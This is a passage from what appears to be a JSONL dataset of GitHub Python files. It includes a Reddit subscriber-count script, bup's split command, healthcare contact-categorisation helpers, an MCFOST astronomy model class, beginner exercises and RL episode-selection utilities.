'ssw'\r\n\r\nINPUT_SET_SUBWINDOW_TIME = 'sswt'\r\nSIGNAL_SET_SUBWINDOW_TIME = 'sswt'\r\n\r\nINPUT_START_STREAM = \"stream\"\r\nSIGNAL_START_STREAM = \"stream\"\r\n\r\nINPUT_MODE = \"mode\"\r\nSIGNAL_MODE = \"mode\"\r\n\r\n","repo_name":"abuzakaria/cloudjoin","sub_path":"parameters.py","file_name":"parameters.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"21953078098","text":"#!/usr/bin/python3\n\"\"\"returns the number of subscribers\"\"\"\n\nimport requests\n\n\ndef number_of_subscribers(subreddit):\n    \"\"\"Returns the number of subscribers\"\"\"\n    url = \"https://www.reddit.com/r/{}/about.json\".format(subreddit)\n    headers = {\n        \"User-Agent\": \"Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) \\\n        AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 \\\n            Mobile Safari/537.36\"\n    }\n    response = requests.get(url, headers=headers, allow_redirects=False)\n    if response.status_code == 404:\n        return 0\n    results = response.json().get(\"data\")\n    return results.get(\"subscribers\")\n","repo_name":"Barissa-Imran/alx-system_engineering-devops","sub_path":"0x16-api_advanced/0-subs.py","file_name":"0-subs.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"2434083109","text":"\"\"\"\n    Работа с аргументами командной сторки, if-else.\n\"\"\"\n\nimport sys\nimport time\n\ndef stop_exercise():\n    \"\"\"Если n - функция завершает работу модуля. Если y - переходит\n    к следующему упражнению.\"\"\"\n    answer = input(\"Перейти к следующему упражнению? y/n \")\n    if answer == 'n':\n        print(\"Завершение работы программы\")\n        time.sleep(2)\n        exit()\n\n# Глава 9.9. Работа с аргументами командной строки. if-else.\n# Упражнение 5.1\n# Напиши программу, которая принимает на вход два целочисленных числа,\n# если оба больше 100, то выводит на печать максимальное из них,\n# в противном случае вываодит на печать сумму второго и числа 112.\n\nprint(\"Упражнение 5.1\")\nif len(sys.argv) < 3:\n    print(\"Введите два целочисленных числа в качестве параметров\")\n    exit()\nmodule_name, first_number_string, second_number_string, *other = sys.argv\ntry:\n    first_number = int(first_number_string)\n    second_number = int(second_number_string)\n    print(f\"Число один: {first_number}, число два: {second_number}\")\nexcept ValueError:\n    print(\"Введено не целочисленное число\")\n    exit()\nprint(\"Если оба числа большее 100, то будет выведено большее из них\")\nprint(\"В противном случае - сумма второго и числа 112\")\nif first_number > 100 and second_number > 100:\n    print(f\"Максимальное число: {max(first_number, second_number)}\")\nelse:\n    print(f\"Сумма второго чила и 112: {second_number + 112}\")\n","repo_name":"blizneci/digit_python","sub_path":"chapter_9_python/9_9_sysargv_if_else/max_number.py","file_name":"max_number.py","file_ext":"py","file_size_in_byte":1969,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"1249729742","text":"\nfrom __future__ import absolute_import, division, print_function\nfrom binascii import hexlify\nimport sys, time\n\nfrom bup import compat, hashsplit, git, options, client\nfrom bup.compat import argv_bytes, environ, nullcontext\nfrom bup.hashsplit import HashSplitter\nfrom bup.helpers import (add_error, hostname, log, parse_num,\n                         qprogress, reprogress, saved_errors,\n                         valid_save_name,\n                         parse_date_or_fatal)\nfrom bup.io import byte_stream\nfrom bup.pwdgrp import userfullname, username\n\n\noptspec = \"\"\"\nbup split [-t] [-c] [-n name] OPTIONS [--git-ids | filenames...]\nbup split -b OPTIONS [--git-ids | filenames...]\nbup split --copy OPTIONS [--git-ids | filenames...]\nbup split --noop [-b|-t] OPTIONS [--git-ids | filenames...]\n--\n Modes:\nb,blobs    output a series of blob ids.  Implies --fanout=0.\nt,tree     output a tree id\nc,commit   output a commit id\nn,name=    save the result under the given name\nnoop       split the input, but throw away the result\ncopy       split the input, copy it to stdout, don't save to repo\n Options:\nr,remote=  remote repository path\nd,date=    date for the commit (seconds since the epoch)\nq,quiet    don't print progress messages\nv,verbose  increase log output (can be used more than once)\ngit-ids    read a list of git object ids from stdin and split their contents\nkeep-boundaries  don't let one chunk span two input files\nbench      print benchmark timings to stderr\nmax-pack-size=  maximum bytes in a single pack\nmax-pack-objects=  maximum number of objects in a single pack\nfanout=    average number of blobs in a single tree\nbwlimit=   maximum bytes/sec to transmit to server\n#,compress=  set compression level to # (0-9, 9 is highest) [1]\n\"\"\"\n\n\nclass NoOpPackWriter:\n    def __init__(self):\n        self.closed = False\n    def __enter__(self):\n        return self\n    def __exit__(self, type, value, traceback):\n        self.close()\n    def close(self):\n        self.closed = True\n    def __del__(self):\n        assert self.closed\n    def new_blob(self, content):\n        return git.calc_hash(b'blob', content)\n    def new_tree(self, shalist):\n        return git.calc_hash(b'tree', git.tree_encode(shalist))\n\ndef opts_from_cmdline(argv):\n    o = options.Options(optspec)\n    opt, flags, extra = o.parse_bytes(argv[1:])\n    opt.sources = extra\n\n    if opt.name: opt.name = argv_bytes(opt.name)\n    if opt.remote: opt.remote = argv_bytes(opt.remote)\n    if opt.verbose is None: opt.verbose = 0\n\n    if not (opt.blobs or opt.tree or opt.commit or opt.name or\n            opt.noop or opt.copy):\n        o.fatal(\"use one or more of -b, -t, -c, -n, --noop, --copy\")\n    if opt.copy and (opt.blobs or opt.tree):\n        o.fatal('--copy is incompatible with -b, -t')\n    if (opt.noop or opt.copy) and (opt.commit or opt.name):\n        o.fatal('--noop and --copy are incompatible with -c, -n')\n    if opt.blobs and (opt.tree or opt.commit or opt.name):\n        o.fatal('-b is incompatible with -t, -c, -n')\n    if extra and opt.git_ids:\n        o.fatal(\"don't provide filenames when using --git-ids\")\n    if opt.verbose >= 2:\n        git.verbose = opt.verbose - 1\n        opt.bench = 1\n    if opt.max_pack_size:\n        opt.max_pack_size = parse_num(opt.max_pack_size)\n    if opt.max_pack_objects:\n        opt.max_pack_objects = parse_num(opt.max_pack_objects)\n    if opt.fanout:\n        opt.fanout = parse_num(opt.fanout)\n    if opt.bwlimit:\n        opt.bwlimit = parse_num(opt.bwlimit)\n    if opt.date:\n        opt.date = parse_date_or_fatal(opt.date, o.fatal)\n    else:\n        opt.date = time.time()\n\n    opt.is_reverse = environ.get(b'BUP_SERVER_REVERSE')\n    if opt.is_reverse and opt.remote:\n        o.fatal(\"don't use -r in reverse mode; it's automatic\")\n\n    if opt.name and not valid_save_name(opt.name):\n        o.fatal(\"'%r' is not a valid branch name.\" % opt.name)\n\n    return opt\n\ndef split(opt, files, parent, out, pack_writer):\n    # Hack around lack of nonlocal vars in python 2\n    total_bytes = [0]\n    def prog(filenum, nbytes):\n        total_bytes[0] += nbytes\n        if filenum > 0:\n            qprogress('Splitting: file #%d, %d kbytes\\r'\n                      % (filenum+1, total_bytes[0] // 1024))\n        else:\n            qprogress('Splitting: %d kbytes\\r' % (total_bytes[0] // 1024))\n\n    new_blob = pack_writer.new_blob\n    new_tree = pack_writer.new_tree\n    if opt.blobs:\n        shalist = hashsplit.split_to_blobs(new_blob, files,\n                                           keep_boundaries=opt.keep_boundaries,\n                                           progress=prog)\n        for sha, size, level in shalist:\n            out.write(hexlify(sha) + b'\\n')\n            reprogress()\n    elif opt.tree or opt.commit or opt.name:\n        if opt.name: # insert dummy_name which may be used as a restore target\n            mode, sha = \\\n                hashsplit.split_to_blob_or_tree(new_blob, new_tree, files,\n                                                keep_boundaries=opt.keep_boundaries,\n                                                progress=prog)\n            splitfile_name = git.mangle_name(b'data', hashsplit.GIT_MODE_FILE, mode)\n            shalist = [(mode, splitfile_name, sha)]\n        else:\n            shalist = \\\n                hashsplit.split_to_shalist(new_blob, new_tree, files,\n                                           keep_boundaries=opt.keep_boundaries,\n                                           progress=prog)\n        tree = new_tree(shalist)\n    else:\n        last = 0\n        for blob, level in HashSplitter(files, progress=prog,\n                                        keep_boundaries=opt.keep_boundaries,\n                                        bits=hashsplit.BUP_BLOBBITS,\n                                        fanbits=hashsplit.fanbits()):\n            hashsplit.total_split += len(blob)\n            if opt.copy:\n                sys.stdout.write(str(blob))\n            megs = hashsplit.total_split // 1024 // 1024\n            if not opt.quiet and last != megs:\n                last = megs\n\n    if opt.verbose:\n        log('\\n')\n    if opt.tree:\n        out.write(hexlify(tree) + b'\\n')\n\n    commit = None\n    if opt.commit or opt.name:\n        msg = b'bup split\\n\\nGenerated by command:\\n%r\\n' % compat.get_argvb()\n        userline = b'%s <%s@%s>' % (userfullname(), username(), hostname())\n        commit = pack_writer.new_commit(tree, parent, userline, opt.date,\n                                        None, userline, opt.date, None, msg)\n        if opt.commit:\n            out.write(hexlify(commit) + b'\\n')\n\n    return commit\n\ndef main(argv):\n    opt = opts_from_cmdline(argv)\n    if opt.verbose >= 2:\n        git.verbose = opt.verbose - 1\n    if opt.fanout:\n        hashsplit.fanout = opt.fanout\n    if opt.blobs:\n        hashsplit.fanout = 0\n    if opt.bwlimit:\n        client.bwlimit = opt.bwlimit\n\n    start_time = time.time()\n\n    sys.stdout.flush()\n    out = byte_stream(sys.stdout)\n    stdin = byte_stream(sys.stdin)\n\n    if opt.git_ids:\n        # the input is actually a series of git object ids that we should retrieve\n        # and split.\n        #\n        # This is a bit messy, but basically it converts from a series of\n        # CatPipe.get() iterators into a series of file-type objects.\n        # It would be less ugly if either CatPipe.get() returned a file-like object\n        # (not very efficient), or split_to_shalist() expected an iterator instead\n        # of a file.\n        cp = git.CatPipe()\n        class IterToFile:\n            def __init__(self, it):\n                self.it = iter(it)\n            def read(self, size):\n                v = next(self.it, None)\n                return v or b''\n        def read_ids():\n            while 1:\n                line = stdin.readline()\n                if not line:\n                    break\n                if line:\n                    line = line.strip()\n                try:\n                    it = cp.get(line.strip())\n                    next(it, None)  # skip the file info\n                except KeyError as e:\n                    add_error('error: %s' % e)\n                    continue\n                yield IterToFile(it)\n        files = read_ids()\n    else:\n        # the input either comes from a series of files or from stdin.\n        if opt.sources:\n            files = (open(argv_bytes(fn), 'rb') for fn in opt.sources)\n        else:\n            files = [stdin]\n\n    writing = not (opt.noop or opt.copy)\n    remote_dest = opt.remote or opt.is_reverse\n\n    if writing:\n        git.check_repo_or_die()\n\n    if remote_dest and writing:\n        cli = repo = client.Client(opt.remote)\n    else:\n        cli = nullcontext()\n        repo = git\n\n    # cli creation must be last nontrivial command in each if clause above\n    with cli:\n        if opt.name and writing:\n            refname = opt.name and b'refs/heads/%s' % opt.name\n            oldref = repo.read_ref(refname)\n        else:\n            refname = oldref = None\n\n        if not writing:\n            pack_writer = NoOpPackWriter()\n        elif not remote_dest:\n            pack_writer = git.PackWriter(compression_level=opt.compress,\n                                         max_pack_size=opt.max_pack_size,\n                                         max_pack_objects=opt.max_pack_objects)\n        else:\n            pack_writer = cli.new_packwriter(compression_level=opt.compress,\n                                             max_pack_size=opt.max_pack_size,\n                                             max_pack_objects=opt.max_pack_objects)\n\n        # packwriter creation must be last command in each if clause above\n        with pack_writer:\n            commit = split(opt, files, oldref, out, pack_writer)\n\n        # pack_writer must be closed before we can update the ref\n        if refname:\n            repo.update_ref(refname, commit, oldref)\n\n    secs = time.time() - start_time\n    size = hashsplit.total_split\n    if opt.bench:\n        log('bup: %.2f kbytes in %.2f secs = %.2f kbytes/sec\\n'\n            % (size / 1024, secs, size / 1024 / secs))\n\n    if saved_errors:\n        log('WARNING: %d errors encountered while saving.\\n' % len(saved_errors))\n        sys.exit(1)\n","repo_name":"bup/bup","sub_path":"lib/bup/cmd/split.py","file_name":"split.py","file_ext":"py","file_size_in_byte":10189,"program_lang":"python","lang":"en","doc_type":"code","stars":7014,"dataset":"github-code","pt":"60"}
+{"seq_id":"22030248743","text":"import pandas as pd\n\ndef contactCategorizer(s,precision):\n    '''categorizes by successful and unsuccessful and by type of contact home or phone.'''\n    contactType = [['Unsuccessful','Successful'],['Home Visit','Phone Contact']]\n    if s == 'Wrong Number or Number Disconnected/Out of Service':\n        if precision == True:\n            return contactType[0][0] + ' ' + contactType[1][1]\n        return contactType[0][0]\n    elif s == 'Unable to reach':\n        if precision == True:\n            return contactType[0][0] + ' ' + contactType[1][1]\n        return contactType[0][0]\n    elif s == 'Successful':\n        if precision == True:\n            return contactType[0][1] + ' ' + contactType[1][1]\n        return contactType[0][1]\n    elif s == 'Declined/Opted Out of Program':\n        if precision == True:\n            return contactType[0][1] + ' ' + contactType[1][1]\n        return contactType[0][1]\n    elif s == 'Face to face visit successful':\n        if precision == True:\n            return contactType[0][1] + ' ' + contactType[1][0]\n        return contactType[0][1]\n    elif s == 'Left Message':\n        if precision == True:\n            return contactType[0][0] + ' ' + contactType[1][1]\n        return contactType[0][0]\n    elif s == 'Face to face visit not successful':\n        if precision == True:\n            return contactType[0][0] + ' ' + contactType[1][0]\n        return contactType[0][0]\n\ndef pivotRecentContact(df):\n    '''takes in the contact dataframe then pivots to show most recent for each of the contact categorizations'''\n    df.sort_values(['MedicaidNum','OutcomeDateTime'],ascending=[True,False],inplace=True)\n    df_pivot = df.pivot_table(index=['MedicaidNum','PatientID'],columns='ContactTypeSuccess',\n                              values='OutcomeDateTime',aggfunc='first')\n    df_pivot['Successful Home Visit'] = pd.to_datetime(df_pivot['Successful Home Visit'].dt.date)\n    df_pivot['Successful Phone Contact'] = pd.to_datetime(df_pivot['Successful Phone Contact'].dt.date)\n    df_pivot['Unsuccessful Home Visit'] = pd.to_datetime(df_pivot['Unsuccessful Home Visit'].dt.date)\n    df_pivot['Unsuccessful Phone Contact'] = pd.to_datetime(df_pivot['Unsuccessful Phone Contact'].dt.date)\n    return df_pivot\n\ndef contactTypeCounter(df):\n    '''takes in contact dataframe and groups by patientID to count of contacts'''\n    contact_counts = df.groupby(['PatientID','MedicaidNum','ContactTypeSuccess'],as_index=False).count()\n    contact_counts = contact_counts.pivot_table(index=['MedicaidNum','PatientID'],columns='ContactTypeSuccess',values='ContactTS')\n    contact_counts.fillna(0,inplace=True)\n    col_names = {i:\"Count of \" + i for i in contact_counts.columns}\n    contact_counts.rename(columns=col_names,inplace=True)\n    contact_counts.reset_index(inplace=True)\n    return contact_counts\n\ndef reasonClean(s):\n    s = s.replace('-',' ')\n    s = s.replace('Care Coordination Consult ','Care Coordination Consultation ')\n    s = \" \".join(s.split())\n    s = s.title()\n    return s\n    \n#category = \"A.S.C.\"\nasc_category = ['Tier 1 Assessment', 'Tier 2 Assessment', 'Tier 2 Follow Up Assessment', 'Tier 3 Assessment',\n                'Tier 3 Follow Up Assessment', 'Clinical Interview', 'Developmental Screening/Services',\n                'Discharge Planning', 'Ed Follow Up','Ed/Hospitalization Follow Up', 'Initial Patient Contact',\n                'Notice Of Hospital Admission', 'Notification Hospital Admit/Discharge',\n                'Patient Visit', 'Review Of Care Plan','Review/Modification Of Care Plan']\n\n#category = \"Consultations\nconsultations = ['Care Coordination Consultation With Pcp','Care Coordination Consultation With Physician',\n                          'Care Coordination Consultation With Specialist', 'Care Coordination Consultation With Pcp',\n                          'Case Consultation','Clinical Rounds', 'Complaint',\n                          'Coordinate With Pcp/Specialist', 'Coordination/Information']\n\n#category = Health Promotion/Education\nhealth_promotion_education = ['Address Medical/Clinical Concern Or Issue','Appointment Coordination',\n                              'Appointment Follow Up','Appointment Reminder', 'Appointment Scheduling',\n                              'Care Coordination', 'Care Coordination Follow Up','Care Coordination Plan',\n                              'Child Skills Group', 'Dental Concern', 'Dental Concern Or Issue','Dvd Follow Up',\n                              'Dental Concern','Dental Concern Or Issue','Education Session','In Person Intervention',\n                              'Medication /Prescription Concerns','Parenting Skills Group', 'Portal', 'Portal Information',\n                              'Skill Building Intervention','Suicide Protocol/Crisis Intervention'\n                              ,'The Happiest Baby Intervention']\n#category = Maintenance\nmaintenance = ['Address Enrollment Questions','Birthday','Enrollment','Incentive','Information Received',\n               'Medical Records','Medical/Clinical Concern Or Issue','Other See Notes','Response To Utr Letter',\n               'Return Call','Returned Mail','Satisfaction Survey','Unable To Reach Letter', 'Unable To Reach Via Phone']\n#category = Referrals\nreferrals = ['Change of PCP or Specialist','Community Resource Coordination/Information',\n             'Community Resource Information', 'Community Resources','Dental Appointment Coordination',\n             'Insurance Information', 'Insurance Question','Mail From Social Service Agency',\n             'Mental Health Concern Or Follow Up','Mental Health Concern Or Issue','Pharmacy Concern',\n             'Pharmacy Concern Or Issue','Pharmacy Insurance Concerns', 'Referral', 'Referral Follow Up',\n             'Transportation','Transportation Concern', 'Transportation Coordination']\n\n\ndef serviceCategory(reason):\n    category = \"\"\n\n    if reason in asc_category:\n        category = \"A.S.C.\"\n    elif reason in consultations:\n        category = 'Consultations'\n    elif reason in health_promotion_education:\n        category = 'Health Promotion/Education'\n    elif reason in maintenance:\n        category = 'Maintenance'\n    elif reason in referrals:\n        category = 'Referrals'\n    else:\n        category = 'Nothing'\n    return category\n","repo_name":"datagarret/CPAR1","sub_path":"helpers/contactHelper.py","file_name":"contactHelper.py","file_ext":"py","file_size_in_byte":6275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"38978061200","text":"\"\"\"\nThis code defines the Model class for handling model SED's from MCFOST.\nThe class contains the SEDs, their wavelengths, and methods\nfor plotting individual and multiple SEDs.\n\nWritten: Isabel Angelo (2019)\n\"\"\"\nfrom astropy.io import fits\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.colors import LogNorm \nimport scipy.stats.mstats as stats\nfrom astropy.convolution import convolve_fft\nfrom reduce_sed import parseline\nfrom model_grid import *\nfrom probability_functions import *\n\nimport imageio\nimport glob\nimport os\n\n# define path to HST PSF\ntinytim_PSF = fits.open('../result00_psf.fits')[0].data\ntinytim_PSFnorm = tinytim_PSF/np.max(tinytim_PSF) # normalized PSF\nPSF_20mas = rebin_image(tinytim_PSFnorm, 0.0158,0.02) # rebinned PSF to 20mas/pixel\n\n# store model star SED\nstar_path = model_path + 'test_peak/data_th/sed_rt.fits'\nstar_seds = fits.open(star_path)[0].data[0][0]\n\n# set up plot axes\ndef setup_plot(ax):\n    \"\"\"\n    puts a plot on a log scale and labels the axes for an SED\n    \"\"\"\n    ax.set_xscale('log')\n    ax.set_yscale('log')\n    ax.set_xlabel('$\\lambda [\\mu m]$')\n    ax.set_ylabel(r'$\\lambda F_{\\lambda} [\\frac{W}{m^2}]$')\n\nclass Model(object):\n    \"\"\"\n    Model object\n    \n    Args:\n        n_model(int): integer associated with corresponding MCFOST model\n        norm(bool): 'True' will normalize according to the geometric mean \n                        between 2-10um of the highest inclination in the model, \n                        'False' plots raw data\n    \"\"\"    \n    def __init__(self, n_model, norm=False):\n        \n        # retrieve sed and wavelength data from model\n        self.n_model = n_model\n        self.filepath = model_path + 'model'+str(n_model)+'/data_th/sed_rt.fits'\n    \n        hdulist = fits.open(self.filepath)\n        sedlist = hdulist[0].data[0][0]\n        self.wavelength = hdulist[1].data\n        \n        # normalize according to highest inclination\n        if norm==True:\n            mean_range = np.where((2<self.wavelength) & (self.wavelength<10))\n            gmean = stats.gmean(sedlist[-1][mean_range])\n            self.seds = [sed/gmean for sed in sedlist]\n            \n        # for non-normalized case\n        else:\n            self.seds = sedlist\n            \n        # store the model image\n        impath = self.filepath[:-19]+'data_0.6/RT.fits'\n        self.images = fits.open(impath)[0].data[0][0]\n        \n        # store convolved+rebinned images image\n        # convolve images with rebinned PSF (20mas/pixel)\n        convolved_prebinned_images = [convolve_fft(i, PSF_20mas) for i in self.images]\n        # rebin to 40mas/pixel via averaging\n        binpix = int((self.images[0].shape[0]-1)/2)\n        self.convolved_images = [rebin(i[:-1,:-1], (binpix,binpix)) for i in convolved_prebinned_images]\n            \n        # generate model inclinations- is it in the files?\n        i_0, i_f = np.radians(45), np.radians(90)\n        cosi = np.linspace(np.cos(i_0), np.cos(i_f), 15)\n        self.inclinations = np.degrees(np.arccos(cosi))\n        \n        # store parameters\n        self.parameters = get_model_parameters(n_model)\n        \n    def plot(self):\n        \"\"\"\n        plots an MCFOST model set of SEDs [W/m^2] versus wavelength [um]\n        \"\"\"        \n        # plot SEDs for all model inclinations\n        f, ax = plt.subplots()\n        n_i = len(self.seds)\n        for i in range(n_i):                                                                                                       \n            ax.plot(self.wavelength, self.seds[i], color='k', linewidth=0.5)\n        \n        # plot host star\n        ax.plot(self.wavelength, star_seds[0],color='midnightblue', linewidth=0.8, linestyle=':')\n            \n        setup_plot(ax)\n        ax.set_xlim(self.wavelength[0],self.wavelength[-1])\n        ax.set_title(str(self.parameters), fontsize=10)\n        plt.suptitle('model '+str(self.n_model))\n        plt.show()\n       \n    def create_gif(self):\n        \"\"\"\n        plot a gif that shows both the SED and output image change\n        as inclination increases.\n        \"\"\"\n    \n        # generate plots as pngs\n        for inc_idx in range(0,15):\n            fig,ax =plt.subplots(1,3,figsize=(17,5))\n            \n            # plot SED inclinations\n            n_i = len(self.seds)\n            for i in range(n_i): \n                if i==inc_idx: # plot input inclination in bold\n                    ax[0].plot(self.wavelength, self.seds[i], 'k-') \n                else:                                                                                                   \n                    ax[0].plot(self.wavelength, self.seds[i], color='gray', linewidth=0.5)\n            setup_plot(ax[0])\n            \n            # plot host star\n            ax[0].plot(self.wavelength, star_seds[0],color='midnightblue', linewidth=0.8, linestyle=':')\n            # print inclination\n            ax[0].annotate('i='+str(np.round(self.inclinations[inc_idx]))[:-2]+'$^\\circ$',\\\n                            (0.87,0.95),xycoords='axes fraction')\n    \n            # get image and convulation data\n            image = self.images[inc_idx] # image\n            convolved_image = self.convolved_images[inc_idx]\n    \n            vmin = 10*image.mean();vmax = image.max() \n            cm = 'RdPu'\n    \n            # plot original image\n            im1 = ax[1].imshow(image, norm=LogNorm(),\\\n                    vmin=vmin,vmax=vmax, aspect='auto', cmap=cm)\n            #fig.colorbar(im1, ax=ax[1])#orientation='horizontal',ax=ax[1])\n            #ax[1].set_title('MCFOST Image')\n                \n            # plot convolved with tinytim PSF\n            im2 = ax[2].imshow(convolved_image, norm=LogNorm(),\\\n                    vmin=vmin,vmax=vmax, aspect='auto', cmap=cm)\n            fig.colorbar(im2, ax=ax[2],fraction=0.05,pad=0.01)#orientation='horizontal',ax=ax[2])\n            #ax[2].set_title('Convolved with HST PSF')\n    \n            fig.suptitle('Model '+str(self.n_model))\n            fig.text(.5, .9, str(self.parameters)[1:-1], ha='center', fontsize=9)\n            plt.savefig('../'+str(inc_idx)+'.png')\n            plt.close()\n        \n        # combine pngs into .gif\n        images=[]\n        for i in range(0,15):\n            filename='../'+str(i)+'.png'\n            images.append(imageio.imread(filename))\n            os.remove(filename)\n        imageio.mimsave('../Model'+str(self.n_model)+'.gif', images)\n         \n        \n    @staticmethod\n    def overplot(model1, model2):\n        \"\"\"\n        overplots two MCFOST model SED's with multiple inclinations and creates a \n        corresponding legend\n        \"\"\"\n        # plot SEDs for all model inclinations for each model\n        f, ax = plt.subplots()\n        n_i = len(model1.seds)\n        for i in range(n_i):                                                                                                       \n            lines1 = ax.plot(model1.wavelength, model1.seds[i], color='k', linewidth=0.5)\n            lines2 = ax.plot(model2.wavelength, model2.seds[i], color='r', linewidth=0.5)\n    \n        # set up legend that only shows both models without individual inclinations\n        ax.legend([lines1[-1],lines2[-1]], \n            ['model '+str(model1.n_model), 'model '+str(model2.n_model)])\n            \n        setup_plot(ax)   \n        plt.show()\n  \n            \n    def get_slopes(self, inc_idx, window=4):\n        \"\"\"\n        computes the slope if the SED as a function of wavelength\n    \n        Args:\n            inc_index(int): index of inclination that slopes are calculated for, \n            corresponding to index of self.inclinations\n            window(int): size of the window for which the slope is calculated.\n            window=4 corresponds to window spanning a factor of 4, i.e. 0.1-0.4\n        \n        Returns:\n            slopes_unq(tuple): tuple (unq_window, unq_slopes) where unq_slopes\n            represents each specific slope value computed for the SED and \n            unq_window represents their median corresponding index\n        \"\"\"    \n        # take log for analysis\n        logw = np.log10(self.wavelength)\n        logs = np.log10(self.seds[inc_idx])\n        window = np.log10(window)\n        \n        # define bins\n        window_start = np.arange(logw[0],logw[-1],0.01)\n        window_center = window_start+window/2.\n        \n        # store slopes for each window\n        slopes = np.array([])      \n        for i in window_start:\n            fitpoints = np.where((i<=logw)&(logw<=i+window))[0]\n            if len(fitpoints)>=2:\n                # perform linear fit\n                x = logw[fitpoints]\n                y = logs[fitpoints]\n                a,b=np.polyfit(x,y,1)\n                # store slope\n                slopes = np.append(slopes, a)\n            else:\n                slopes = np.append(slopes, np.nan)\n      \n        # store unique slope and corresponding window values (median index)\n        indexes = np.unique(slopes, return_index=True)[1]\n        unq_slopes = np.array([slopes[index] for index in sorted(indexes)])\n        unq_slopes = unq_slopes[~np.isnan(unq_slopes)]\n        unq_window = np.array([])\n        \n        for s in unq_slopes:\n            slope_idx = np.where(slopes==s)[0]\n            idx_median = int(np.median(slope_idx))\n            unq_window = np.append(unq_window, window_center[idx_median])\n        \n        # store window+slope data as tuples       \n        slopes_all = (window_center, slopes)\n        slopes_unq = (unq_window, unq_slopes)\n               \n        return slopes_unq\n        \n    def plot_slopes(self):\n        \"\"\"\n        plots the SED's of a model in top panel and their slopes as a function\n        of wavelength in the bottom panel\n        \"\"\"\n        # set up figure subplots\n        ax0 = plt.subplot(211)\n        ax1=plt.subplot(212, sharex=ax0)\n        \n        # plot each SED and corresponding slopes\n        for i in np.arange(0,15,7):\n            slopes_unq = self.get_slopes(i)\n            # plot sed in top panel\n            ax0.plot(self.wavelength, self.seds[i], '-')\n            # plot unique slope values\n            ax1.plot(10**slopes_unq[0], slopes_unq[1], '.', \n                    label='i='+str(np.round(self.inclinations[i])))\n        \n        # set labels and subplots            \n        plt.suptitle('model '+str(self.n_model))\n        ax0.set_title(str(self.parameters), fontsize=10)\n        plt.setp(ax0.get_xticklabels(), visible=False)\n        plt.subplots_adjust(hspace=.05)\n        setup_plot(ax0)\n        ax1.set_xscale('log') \n        ax1.set_ylabel('slope')\n        ax1.set_xlabel('log($\\lambda$)')\n        ax1.legend()\n        plt.show()\n         \n        \n          \n        \n               \n","repo_name":"isabelangelo/mcfost","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":10700,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"22975533651","text":"\ngalera = list()\ndado = list()\ntotalMenor = totalMaior = int(0)\n\nfor c in range(0,4):\n    dado.append(str(input('Digite o nome: ')))\n    dado.append(int(input('Digite a idade: ')))\n    galera.append(dado[:])\n    dado.clear()\n\n\n\nfor p in galera:\n    if p[1] >= 18:\n        print(f'{p[0]} é maior de idade.')\n        totalMaior += 1\n    else:\n        print(f'{p[0]} é menor de idade')\n        totalMenor += 1\n\nprint(f'No total temos {totalMaior} maiores de idade e {totalMenor} menores de idade')","repo_name":"Ckk3/python-exercises","sub_path":"Listas/Lista dentro de lista.py","file_name":"Lista dentro de lista.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"17069703205","text":"import pickle\nimport shutil\nfrom pathlib import Path\n\nimport numpy as np\n\n\ndef _read_in_run(run_identifier, directory=\"./logs\"):\n    dir_path = Path(directory)\n    episode_data_paths = dir_path.glob(f\"{run_identifier}-episode-*.pickle\")\n    episode_dict = dict()\n    for p in episode_data_paths:\n        with open(p, \"rb\") as f:\n            data = pickle.load(f)\n            episode_number = data[\"_episode_number\"]\n            episode_dict[episode_number] = data\n\n    return episode_dict\n\n\ndef select_top_k(episode_dict, target_c, k=10, var=0.05, last_n_episodes=100):\n    pairs = np.zeros((last_n_episodes, 3))\n    idx = 0\n    for episode, data in episode_dict.items():\n        if episode < (len(episode_dict) - last_n_episodes):\n            continue\n        pairs[idx, :] = np.array(\n            [episode, data[\"_episode_metrics\"][\"episode-lat-ratio\"], data[\"_episode_metrics\"][\"episode-acc\"]])\n        idx += 1\n\n    meeting_c_ids = np.where(np.logical_and(pairs[:, 1] >= (target_c - var), pairs[:, 1] <= (target_c + var)))\n\n    matching_pairs = pairs[meeting_c_ids]\n    sorted_ids = np.argsort(matching_pairs[:, 2])[::-1]\n\n    top_sorted_ids = sorted_ids[:k]\n    top_sorted = matching_pairs[top_sorted_ids]\n\n    return [episode_dict[int(key)] for key in top_sorted[:, 0]], top_sorted\n\n\ndef select_top_k_reward(episode_dict, k=10, skip_n_episodes=100):\n    if len(episode_dict) > skip_n_episodes:\n        pairs = np.zeros((len(episode_dict) - skip_n_episodes, 3))\n    else:\n        return [], None\n    idx = 0\n    for episode, data in episode_dict.items():\n        if episode < skip_n_episodes:\n            continue\n        pairs[idx, :] = np.array(\n            [episode, data[\"_episode_metrics\"][\"episode-lat-ratio\"], data[\"_episode_metrics\"][\"episode-mean-reward\"]])\n        idx += 1\n\n    matching_pairs = pairs\n    sorted_ids = np.argsort(matching_pairs[:, 2])[::-1]\n\n    top_sorted_ids = sorted_ids[:k]\n    top_sorted = matching_pairs[top_sorted_ids]\n\n    return [episode_dict[int(key)] for key in top_sorted[:, 0]], top_sorted\n\n\ndef copy_to(run_identifier, top_array, src=\"./logs\", dst=\"./best\"):\n    for ep in top_array[:, 0]:\n        name = f\"{run_identifier}-episode-{int(ep):03d}.pickle\"\n        src_path = Path(src) / name\n        dst_path = Path(dst)\n        dst_path.mkdir(parents=True, exist_ok=True)\n        dst_path = dst_path / name\n\n        shutil.copyfile(src_path, dst_path)\n\n\ndef copy_top_k_matching(run_identifier, target_c, k=10, var=0.05, last_n_episodes=100, src=\"./logs\", dst=\"./best\"):\n    episode_dict = _read_in_run(run_identifier, src)\n    _, top_array = select_top_k(episode_dict, target_c, k=k, var=var, last_n_episodes=last_n_episodes)\n    if top_array is not None:\n        copy_to(run_identifier, top_array, src, 